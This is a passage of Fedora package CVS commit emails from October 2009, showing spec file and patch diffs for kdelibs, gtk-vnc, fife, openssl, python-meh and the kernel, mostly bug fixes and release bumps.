+++ kdelibs.spec	8 Oct 2009 18:27:04 -0000	1.523
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Name: kdelibs
 Epoch: 6



From rdieter at fedoraproject.org  Thu Oct  8 18:27:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:27:05 +0000 (UTC)
Subject: rpms/kdelibs/F-12 kdelibs.spec,1.520,1.521
Message-ID: <20091008182705.A631411C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26922/F-12

Modified Files:
	kdelibs.spec 
Log Message:
Release++



Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-12/kdelibs.spec,v
retrieving revision 1.520
retrieving revision 1.521
diff -u -p -r1.520 -r1.521
--- kdelibs.spec	8 Oct 2009 18:26:19 -0000	1.520
+++ kdelibs.spec	8 Oct 2009 18:27:05 -0000	1.521
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Name: kdelibs
 Epoch: 6



From rdieter at fedoraproject.org  Thu Oct  8 18:29:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:29:53 +0000 (UTC)
Subject: rpms/kdelibs/F-10 kdelibs-4.3.2-kde#207173.patch, NONE, 1.1 kde4.csh,
	1.4, 1.5 kde4.sh, 1.4, 1.5 kdelibs.spec, 1.442, 1.443
Message-ID: <20091008182953.9B3B411C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28162/F-10

Modified Files:
	kde4.csh kde4.sh kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#207173.patch 
Log Message:
sync w/devel (new khtml patch)


kdelibs-4.3.2-kde#207173.patch:
 khtml_part.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#207173.patch ---
Subject: branches/KDE/4.3/kdelibs/khtml
Date: Thursday 08 October 2009
From: David Faure <faure at kde.org>
To: kde-commits at kde.org
Cc: khtml-cvs at kde.org

SVN commit 1032787 by dfaure:

Backport fix for 207173/209876: Hide the whole widget, not just the view and 
the
viewport. Otherwise the findbar stays around, receives focus, and this makes 
the
partmanager activate the part that we're currently deleting...
Forgot to do this before 4.3.2, so the fix will be in 4.3.3  :( 
CCBUG: 207173


 M  +1 -2      khtml_part.cpp  


--- branches/KDE/4.3/kdelibs/khtml/khtml_part.cpp #1032786:1032787
@@ -609,8 +609,7 @@
 
   if ( d->m_view )
   {
-    d->m_view->hide();
-    d->m_view->viewport()->hide();
+    widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kde4.csh
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-10/kde4.csh,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- kde4.csh	12 May 2009 17:04:16 -0000	1.4
+++ kde4.csh	8 Oct 2009 18:29:53 -0000	1.5
@@ -12,4 +12,3 @@ if ( -f /etc/sysconfig/prelink ) then
    endif
    unset PRELINKING
 endif
-


Index: kde4.sh
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-10/kde4.sh,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- kde4.sh	12 May 2009 17:04:16 -0000	1.4
+++ kde4.sh	8 Oct 2009 18:29:53 -0000	1.5
@@ -9,4 +9,3 @@ if [ -z "$KDE_IS_PRELINKED" ] ; then
   grep -qs '^PRELINKING=yes' /etc/sysconfig/prelink && \
   KDE_IS_PRELINKED=1 && export KDE_IS_PRELINKED
 fi
-


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-10/kdelibs.spec,v
retrieving revision 1.442
retrieving revision 1.443
diff -u -p -r1.442 -r1.443
--- kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.442
+++ kdelibs.spec	8 Oct 2009 18:29:53 -0000	1.443
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -80,6 +80,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # upstream
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
+Patch101: kdelibs-4.3.2-kde#207173.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -203,6 +204,7 @@ format for easy browsing.
 # upstream patches
 # 4.3
 %patch100 -p0 -b .kde#209712
+%patch101 -p4 -b .kde#207173.patch
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -395,6 +397,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- khtml kpart crasher (kde #207173/209876)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix a deadlock in KLocale
 



From rdieter at fedoraproject.org  Thu Oct  8 18:29:53 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:29:53 +0000 (UTC)
Subject: rpms/kdelibs/F-11 kde4.csh, 1.4, 1.5 kde4.sh, 1.5, 1.6 kdelibs.spec,
	1.496, 1.497
Message-ID: <20091008182953.E059211C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28162/F-11

Modified Files:
	kde4.csh kde4.sh kdelibs.spec 
Log Message:
sync w/devel (new khtml patch)



Index: kde4.csh
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-11/kde4.csh,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- kde4.csh	12 May 2009 15:49:36 -0000	1.4
+++ kde4.csh	8 Oct 2009 18:29:53 -0000	1.5
@@ -12,4 +12,3 @@ if ( -f /etc/sysconfig/prelink ) then
    endif
    unset PRELINKING
 endif
-


Index: kde4.sh
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-11/kde4.sh,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- kde4.sh	12 May 2009 15:49:36 -0000	1.5
+++ kde4.sh	8 Oct 2009 18:29:53 -0000	1.6
@@ -9,4 +9,3 @@ if [ -z "$KDE_IS_PRELINKED" ] ; then
   grep -qs '^PRELINKING=yes' /etc/sysconfig/prelink && \
   KDE_IS_PRELINKED=1 && export KDE_IS_PRELINKED
 fi
-


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-11/kdelibs.spec,v
retrieving revision 1.496
retrieving revision 1.497
diff -u -p -r1.496 -r1.497
--- kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.496
+++ kdelibs.spec	8 Oct 2009 18:29:53 -0000	1.497
@@ -4,7 +4,7 @@
 
 Summary: K Desktop Environment 4 - Libraries
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -80,6 +80,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # upstream
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
+Patch101: kdelibs-4.3.2-kde#207173.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -203,6 +204,7 @@ format for easy browsing.
 # upstream patches
 # 4.3
 %patch100 -p0 -b .kde#209712
+%patch101 -p4 -b .kde#207173.patch
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -395,6 +397,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- khtml kpart crasher (kde #207173/209876)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix a deadlock in KLocale
 



From rdieter at fedoraproject.org  Thu Oct  8 18:31:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:31:52 +0000 (UTC)
Subject: rpms/kdelibs/F-11 kdelibs-4.3.2-kde#207173.patch,NONE,1.1
Message-ID: <20091008183152.5633C11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28638/F-11

Added Files:
	kdelibs-4.3.2-kde#207173.patch 
Log Message:
sync w/devel


kdelibs-4.3.2-kde#207173.patch:
 khtml_part.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#207173.patch ---
Subject: branches/KDE/4.3/kdelibs/khtml
Date: Thursday 08 October 2009
From: David Faure <faure at kde.org>
To: kde-commits at kde.org
Cc: khtml-cvs at kde.org

SVN commit 1032787 by dfaure:

Backport fix for 207173/209876: Hide the whole widget, not just the view and 
the
viewport. Otherwise the findbar stays around, receives focus, and this makes 
the
partmanager activate the part that we're currently deleting...
Forgot to do this before 4.3.2, so the fix will be in 4.3.3  :( 
CCBUG: 207173


 M  +1 -2      khtml_part.cpp  


--- branches/KDE/4.3/kdelibs/khtml/khtml_part.cpp #1032786:1032787
@@ -609,8 +609,7 @@
 
   if ( d->m_view )
   {
-    d->m_view->hide();
-    d->m_view->viewport()->hide();
+    widget()->hide();
     d->m_view->m_part = 0;
   }
 



From mclasen at fedoraproject.org  Thu Oct  8 18:35:31 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 18:35:31 +0000 (UTC)
Subject: rpms/gtk-vnc/F-12 gtk-vnc-resize-refresh.patch, NONE,
	1.1 gtk-vnc.spec, 1.37, 1.38
Message-ID: <20091008183531.3B8A311C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk-vnc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28944

Modified Files:
	gtk-vnc.spec 
Added Files:
	gtk-vnc-resize-refresh.patch 
Log Message:
Fix visual corruption when changing screen resolution.


gtk-vnc-resize-refresh.patch:
 gvnc.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gtk-vnc-resize-refresh.patch ---
>From 178d7e5a774b8cec1f47b6ae21b2c46e2608d560 Mon Sep 17 00:00:00 2001
From: Jonh Wendell <jwendell at gnome.org>
Date: Mon, 5 Oct 2009 17:01:23 -0300
Subject: [PATCH] Request a full screen refresh when receives a desktop-resize encoding.

---
 src/gvnc.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/src/gvnc.c b/src/gvnc.c
index f15d0fa..53be410 100644
--- a/src/gvnc.c
+++ b/src/gvnc.c
@@ -2179,6 +2179,7 @@ static void gvnc_framebuffer_update(struct gvnc *gvnc, int32_t etype,
 		gvnc_update(gvnc, x, y, width, height);
 		break;
 	case GVNC_ENCODING_DESKTOP_RESIZE:
+		gvnc_framebuffer_update_request (gvnc, 0, 0, 0, width, height);
 		gvnc_resize(gvnc, width, height);
 		break;
 	case GVNC_ENCODING_POINTER_CHANGE:
-- 
1.6.0.4



Index: gtk-vnc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk-vnc/F-12/gtk-vnc.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- gtk-vnc.spec	11 Aug 2009 13:49:35 -0000	1.37
+++ gtk-vnc.spec	8 Oct 2009 18:35:31 -0000	1.38
@@ -7,10 +7,14 @@
 Summary: A GTK widget for VNC clients
 Name: gtk-vnc
 Version: 0.3.9
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://ftp.gnome.org/pub/GNOME/sources/%{name}/0.3/%{name}-%{version}.tar.bz2
+
+# fixed upstream: https://bugzilla.gnome.org/show_bug.cgi?id=585571
+Patch0: gtk-vnc-resize-refresh.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://live.gnome.org/gtk-vnc
 BuildRequires: gtk2-devel pygtk2-devel python-devel zlib-devel
@@ -67,6 +71,7 @@ browsers.
 
 %prep
 %setup -q
+%patch0 -p1 -b .resize-refresh
 
 %build
 %if %{with_plugin}
@@ -120,6 +125,9 @@ rm -fr %{buildroot}
 %endif
 
 %changelog
+* Thu Oct  8 2009 Matthias Clasen <mclaesn at redhat.com> - 0.3.9-2
+- Request a full screen refresh when receives a desktop-resize encoding
+
 * Tue Aug 11 2009 Daniel P. Berrange <berrange at redhat.com> - 0.3.9-1
 - Update to 0.3.9 release
 



From linuxdonald at fedoraproject.org  Thu Oct  8 18:36:33 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Thu,  8 Oct 2009 18:36:33 +0000 (UTC)
Subject: rpms/fife/devel fife.spec, 1.3, 1.4 import.log, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091008183633.33B1E11C00DB@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/fife/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30833/devel

Modified Files:
	fife.spec import.log sources 
Log Message:
Updatet fife to svn rev 3056


Index: fife.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/fife.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- fife.spec	8 Oct 2009 18:25:39 -0000	1.3
+++ fife.spec	8 Oct 2009 18:36:33 -0000	1.4
@@ -16,6 +16,7 @@ URL:            http://www.fifengine.de
 # rm -rf tests/   -  removed for legal issues
 # rm -rf clients/   -  removed for legal issues
 # rm -rf ext/   -  removed for using system libs instead of shipped
+# rm -rf patches/	-	not needed
 # tar -czvf fife-2009.0_r3056.tar.gz fife-2009.0_r3056
 Source0:        %{name}-%{version}_%{revision}.tar.gz
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	8 Oct 2009 18:22:42 -0000	1.2
+++ import.log	8 Oct 2009 18:36:33 -0000	1.3
@@ -1,2 +1,3 @@
 fife-2009_0-0_24_r3054svn_fc11:HEAD:fife-2009.0-0.24.r3054svn.fc11.src.rpm:1254259577
 fife-2009_0-0_24_r3056svn_fc11:HEAD:fife-2009.0-0.24.r3056svn.fc11.src.rpm:1255026127
+fife-2009_0-0_25_r3056svn_fc11:HEAD:fife-2009.0-0.25.r3056svn.fc11.src.rpm:1255026957


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	8 Oct 2009 18:22:42 -0000	1.3
+++ sources	8 Oct 2009 18:36:33 -0000	1.4
@@ -1 +1 @@
-75c077af12713cac5642a915c0de892d  fife-2009.0_r3056.tar.gz
+da9e8981e60d3d9a3e1fa8be8493d4a0  fife-2009.0_r3056.tar.gz



From tmraz at fedoraproject.org  Thu Oct  8 18:45:11 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Thu,  8 Oct 2009 18:45:11 +0000 (UTC)
Subject: rpms/openssl/devel openssl-1.0.0-beta3-dtls1-fix.patch, NONE,
	1.1 openssl-1.0.0-beta3-ssl-session.patch, NONE,
	1.1 openssl.spec, 1.142, 1.143
Message-ID: <20091008184511.0F73F11C00DB@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/openssl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32250

Modified Files:
	openssl.spec 
Added Files:
	openssl-1.0.0-beta3-dtls1-fix.patch 
	openssl-1.0.0-beta3-ssl-session.patch 
Log Message:
* Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
- fix typo in DTLS1 code (#527015)
- fix leak in error handling of d2i_SSL_SESSION()


openssl-1.0.0-beta3-dtls1-fix.patch:
 d1_clnt.c |    2 ++
 d1_pkt.c  |    2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE openssl-1.0.0-beta3-dtls1-fix.patch ---
Index: openssl/ssl/d1_clnt.c
RCS File: /v/openssl/cvs/openssl/ssl/d1_clnt.c,v
rcsdiff -q -kk '-r1.16.2.10' '-r1.16.2.11' -u '/v/openssl/cvs/openssl/ssl/d1_clnt.c,v' 2>/dev/null
--- openssl/ssl/d1_clnt.c 2009/07/15 11:32:57 1.16.2.10
+++ openssl/ssl/d1_clnt.c 2009/07/24 11:52:32 1.16.2.11
@@ -223,6 +223,8 @@
 			s->init_num=0;
 			/* mark client_random uninitialized */
 			memset(s->s3->client_random,0,sizeof(s->s3->client_random));
+			s->d1->send_cookie = 0;
+			s->hit = 0;
 			break;
 
 		case SSL3_ST_CW_CLNT_HELLO_A:
Index: openssl/ssl/d1_pkt.c
RCS File: /v/openssl/cvs/openssl/ssl/d1_pkt.c,v
rcsdiff -q -kk '-r1.27.2.13' '-r1.27.2.14' -u '/v/openssl/cvs/openssl/ssl/d1_pkt.c,v' 2>/dev/null
--- openssl/ssl/d1_pkt.c 2009/07/13 11:44:04 1.27.2.13
+++ openssl/ssl/d1_pkt.c 2009/07/24 11:52:32 1.27.2.14
@@ -775,7 +775,7 @@
 	/* Check for timeout */
 	if (dtls1_is_timer_expired(s))
 		{
-		if (dtls1_read_failed(s, -1) > 0);
+		if (dtls1_read_failed(s, -1) > 0)
 			goto start;
 		}
 

openssl-1.0.0-beta3-ssl-session.patch:
 ssl_asn1.c |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE openssl-1.0.0-beta3-ssl-session.patch ---
Index: openssl/ssl/ssl_asn1.c
RCS File: /v/openssl/cvs/openssl/ssl/ssl_asn1.c,v
rcsdiff -q -kk '-r1.36.2.2' '-r1.36.2.3' -u '/v/openssl/cvs/openssl/ssl/ssl_asn1.c,v' 2>/dev/null
--- openssl/ssl/ssl_asn1.c 2009/08/05 15:29:14 1.36.2.2
+++ openssl/ssl/ssl_asn1.c 2009/09/02 13:20:22 1.36.2.3
@@ -413,8 +413,8 @@
 		}
 	else
 		{
-		SSLerr(SSL_F_D2I_SSL_SESSION,SSL_R_UNKNOWN_SSL_VERSION);
-		return(NULL);
+		c.error=SSL_R_UNKNOWN_SSL_VERSION;
+		goto err;
 		}
 	
 	ret->cipher=NULL;
@@ -505,8 +505,8 @@
 	    {
 	    if (os.length > SSL_MAX_SID_CTX_LENGTH)
 		{
-		ret->sid_ctx_length=os.length;
-		SSLerr(SSL_F_D2I_SSL_SESSION,SSL_R_BAD_LENGTH);
+		c.error=SSL_R_BAD_LENGTH;
+		goto err;
 		}
 	    else
 		{


Index: openssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssl/devel/openssl.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- openssl.spec	30 Sep 2009 18:18:48 -0000	1.142
+++ openssl.spec	8 Oct 2009 18:45:10 -0000	1.143
@@ -23,7 +23,7 @@
 Summary: A general purpose cryptography library with TLS implementation
 Name: openssl
 Version: 1.0.0
-Release: 0.8.%{beta}%{?dist}
+Release: 0.9.%{beta}%{?dist}
 # We remove certain patented algorithms from the openssl source tarball
 # with the hobble-openssl script which is included below.
 Source: openssl-%{version}-%{beta}-usa.tar.bz2
@@ -67,6 +67,8 @@ Patch52: openssl-1.0.0-beta3-dss1.patch
 Patch60: openssl-1.0.0-beta3-namingstr.patch
 Patch61: openssl-1.0.0-beta3-namingblk.patch
 Patch62: openssl-1.0.0-beta3-camellia-rounds.patch
+Patch63: openssl-1.0.0-beta3-dtls1-fix.patch
+Patch64: openssl-1.0.0-beta3-ssl-session.patch
 
 License: OpenSSL
 Group: System Environment/Libraries
@@ -151,6 +153,8 @@ from other formats to the formats used b
 %patch60 -p1 -b .namingstr
 %patch61 -p1 -b .namingblk
 %patch62 -p1 -b .cmll-rounds
+%patch63 -p1 -b .dtls1-fix
+%patch64 -p1 -b .ssl-session
 
 # Modify the various perl scripts to reference perl in the right location.
 perl util/perlpath.pl `dirname %{__perl}`
@@ -399,6 +403,10 @@ rm -rf $RPM_BUILD_ROOT/%{_libdir}/fipsca
 %postun -p /sbin/ldconfig
 
 %changelog
+* Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
+- fix typo in DTLS1 code (#527015)
+- fix leak in error handling of d2i_SSL_SESSION()
+
 * Wed Sep 30 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.8.beta3
 - fix RSA and DSA FIPS selftests
 - reenable fixed x86_64 camellia assembler code (#521127)



From clumens at fedoraproject.org  Thu Oct  8 18:46:07 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Thu,  8 Oct 2009 18:46:07 +0000 (UTC)
Subject: rpms/python-meh/devel .cvsignore, 1.6, 1.7 python-meh.spec, 1.5,
	1.6 sources, 1.6, 1.7
Message-ID: <20091008184607.D670A11C00DB@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/python-meh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32473

Modified Files:
	.cvsignore python-meh.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	29 Sep 2009 18:22:35 -0000	1.6
+++ .cvsignore	8 Oct 2009 18:46:07 -0000	1.7
@@ -3,3 +3,4 @@ python-meh-0.2.tar.gz
 python-meh-0.3.tar.gz
 python-meh-0.4.tar.gz
 python-meh-0.5.tar.gz
+python-meh-0.6.tar.gz


Index: python-meh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/devel/python-meh.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-meh.spec	29 Sep 2009 18:22:35 -0000	1.5
+++ python-meh.spec	8 Oct 2009 18:46:07 -0000	1.6
@@ -3,7 +3,7 @@
 Summary:  A python library for handling exceptions
 Name: python-meh
 Url: http://git.fedoraproject.org/git/?p=python-meh.git
-Version: 0.5
+Version: 0.6
 Release: 1%{?dist}
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -46,6 +46,11 @@ rm -rf %{buildroot}
 %{_datadir}/python-meh
 
 %changelog
+* Thu Oct 08 2009 Chris Lumens <clumens at redhat.com> - 0.6-1
+- Make idSkipList work again.
+- Support dumping objects derived from Python's object.
+- Use the right method to set text on a snack.Entry (#526884).
+
 * Tue Sep 29 2009 Chris Lumens <clumens at redhat.com> - 0.5-1
 - Always compare version numbers as strings (#526188).
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-meh/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	29 Sep 2009 18:22:35 -0000	1.6
+++ sources	8 Oct 2009 18:46:07 -0000	1.7
@@ -1 +1 @@
-f5ea8244a49657e770f23675e2997888  python-meh-0.5.tar.gz
+635809514ac669fd10fd3ddf1591332d  python-meh-0.6.tar.gz



From kyle at fedoraproject.org  Thu Oct  8 18:49:28 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Thu,  8 Oct 2009 18:49:28 +0000 (UTC)
Subject: rpms/kernel/F-12 patch-2.6.31.3.bz2.sign, NONE, 1.1 .cvsignore,
	1.1127, 
	1.1128 drm-next-d4ac6a05.patch, 1.1, 1.2 kernel.spec, 1.1852,
	1.1853 sources, 1.1085, 1.1086 upstream, 1.999,
	1.1000 linux-2.6-fix-usb-serial-autosuspend.diff, 1.2,
	NONE linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch, 1.1, NONE
	linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch,
	1.1, NONE linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch, 1.1,
	NONE linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch, 1.1,
	NONE linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch, 
	1.1, NONE
	linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch,
	1.1, NONE
	linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch,
	1.1, NONE linux-2.6-xen-check-efer-fix.patch, 1.1, NONE
	linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch,
	1.1, NONE linux-2.6-xen-spinlock-stronger-barrier.patch, 1.1,
	NONE linux-2.6-xen-stack-protector-fix.patch, 1.1,
	NONE linux-2.6.31-cpufreq-powernow-k8-oops.patch, 1.1,
	NONE patch-2.6.31.1.bz2.sign, 1.1, NONE
Message-ID: <20091008184928.E017B11C00DB@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1130

Modified Files:
	.cvsignore drm-next-d4ac6a05.patch kernel.spec sources 
	upstream 
Added Files:
	patch-2.6.31.3.bz2.sign 
Removed Files:
	linux-2.6-fix-usb-serial-autosuspend.diff 
	linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch 
	linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch 
	linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch 
	linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch 
	linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch 
	linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch 
	linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch 
	linux-2.6-xen-check-efer-fix.patch 
	linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch 
	linux-2.6-xen-spinlock-stronger-barrier.patch 
	linux-2.6-xen-stack-protector-fix.patch 
	linux-2.6.31-cpufreq-powernow-k8-oops.patch 
	patch-2.6.31.1.bz2.sign 
Log Message:
* Thu Oct 08 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.3-67
- Linux 2.6.31.3
- rebase drm-next trivially.
- dropped merged upstream patches,
 - linux-2.6-fix-usb-serial-autosuspend.diff
 - linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
 - linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
 - linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
 - linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
 - linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
 - linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
 - linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
 - linux-2.6-xen-check-efer-fix.patch
 - linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
 - linux-2.6-xen-spinlock-stronger-barrier.patch
 - linux-2.6-xen-stack-protector-fix.patch
 - linux-2.6.31-cpufreq-powernow-k8-oops.patch



--- NEW FILE patch-2.6.31.3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKzREZyGugalF9Dw4RAp87AJ444UWdtYFwlKS/pedC1/a3qTlQcQCfWDEQ
rs7o0UeFkEbJilisDOWefnM=
=Sl7M
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/.cvsignore,v
retrieving revision 1.1127
retrieving revision 1.1128
diff -u -p -r1.1127 -r1.1128
--- .cvsignore	24 Sep 2009 19:48:11 -0000	1.1127
+++ .cvsignore	8 Oct 2009 18:49:26 -0000	1.1128
@@ -5,4 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.31.1.bz2
+patch-2.6.31.3.bz2

drm-next-d4ac6a05.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  536 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1014 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
